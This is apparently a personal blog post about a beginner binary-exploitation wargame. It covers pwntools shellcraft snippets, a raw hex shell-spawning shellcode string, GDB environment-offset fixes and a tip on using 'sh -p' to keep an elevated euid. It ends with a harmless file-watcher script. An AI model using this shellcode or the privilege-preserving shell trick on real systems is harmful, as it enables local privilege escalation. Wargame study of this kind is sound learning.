Simple shellcode and automation

2022-10-12 By qld

So, time to step up, there was no real binary exploitation so far, just some staring at the binaries and scripting with pwntools. These are gentle introductions to binary exploitation.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

Fact: just using shellcraft to get working shellcode isn't enough, you also need to assemble it lolol. It's a good thing.

  • https://docs.pwntools.com/en/stable/shellcraft/i386.html
  • https://docs.pwntools.com/en/stable/asm.html

Trying this thing again a few years later, pwntools really takes all the boring monkey work out of this. It's pretty convenient to avoid all the unnecessary blood & sweat related to figuring out all of this at once. That being said, it lowers the bar to join the field, but is that a bad thing ?

Ahh, figuring out our stack shellcode from within GDB means envp shifts addresses.

$ diff /tmp/lilia /tmp/lilib
34,36c34
< _=/usr/bin/gdb
< LINES=54
< COLUMNS=94
---
> _=/usr/bin/env

So we need to remove them or count approx 20 bytes of additional offset.

unset environment LINES
unset environment COLUMNS

OR, you just set these variables in your launched program :D

export LINES=44
export COLUMNS=44

On shellcode

Here's how I built some shellcode, pretty standard I guess. For some reason echo and exit and infloop did work, but my cat/cat2 attempts did not.

shellcode += asm(shellcraft.i386.linux.echo('testXXX'))
shellcode += asm(shellcraft.i386.linux.cat2('/some/file'))
shellcode += asm(shellcraft.i386.infloop())
shellcode += asm(shellcraft.i386.linux.sh())
shellcode += asm(shellcraft.i386.exit())

As it turns out, shellcraft.i386 shellcode seems to explode, while other shellcodes like eb1f5e89760831c088460789460cb00b89f38d4e088d560ccd8031db89d840cd80e8dcffffff2f62696e2f7368 * shellcode.org/shellcode/linux/null-free/ * https://www.root-me.org/fr/Documentation/Applicatif/Debordement-de-tampon-dans-la-pile )

Also, sh needs its -p flag to preserve euid, so you can't just pop sh like this.

/bin/id : uid=1002(lion2) gid=1002(lion2) euid=1003(lion3) groups=1002(lion2)
/bin/sh :
$ id
uid=1002(lion2) gid=1002(lion2) groups=1002(lion2)

whenchange.sh

That whenchange.sh utility is really something I keep carrying around just like the pdb shell popper. It saves some keystrokes.

import pdb, sys, traceback
def info(type, value, tb):
    traceback.print_exception(type, value, tb)
    pdb.pm()
sys.excepthook = info

Script:

#!/bin/bash
#
# Simple utility launching a specific command when any of the specified files
# has been modified. Uses 'stat', every N seconds.
#
# Usage  : ./whenchange.sh 'script or command' filea fileb filec ...
# Example: ./whenchange.sh ./patch-code.sh *py

interval=2
[ $# -eq 0 ] && head $0 && exit 0
[ $# -eq 1 ] && head $0 && exit 0


cmd="${1}"
echo "Will launch command '${cmd}'" >&2
shift;
filecount=0;
while [ $# -ne 0 ];
do
  filecount=$(( ${filecount} + 1 ));
  filelist[${filecount}]=$1;
  shift; # Remove one parameter
done
echo "Watching ${filecount} files: " >&2
for i in $( seq ${filecount} );
do
  echo "${i} : ${filelist[${i}]}" >&2 ;
done
# echo ${#filelist[@]}

# Actual checking loop
old_checksum="invalid"
while true
do
  checksum=$({
    for i in $( seq ${filecount} );
    do
      stat ${filelist[${i}]} 2>&1;
    done
  } | md5sum)
  if [ "${old_checksum}" == "${checksum}" ];
  then
    # Nothing happens
    :
  else
    # Record the new value
    old_checksum="${checksum}"
    # Launch the command
    ${cmd}
  fi
  sleep $interval;
done;

I'm having fun.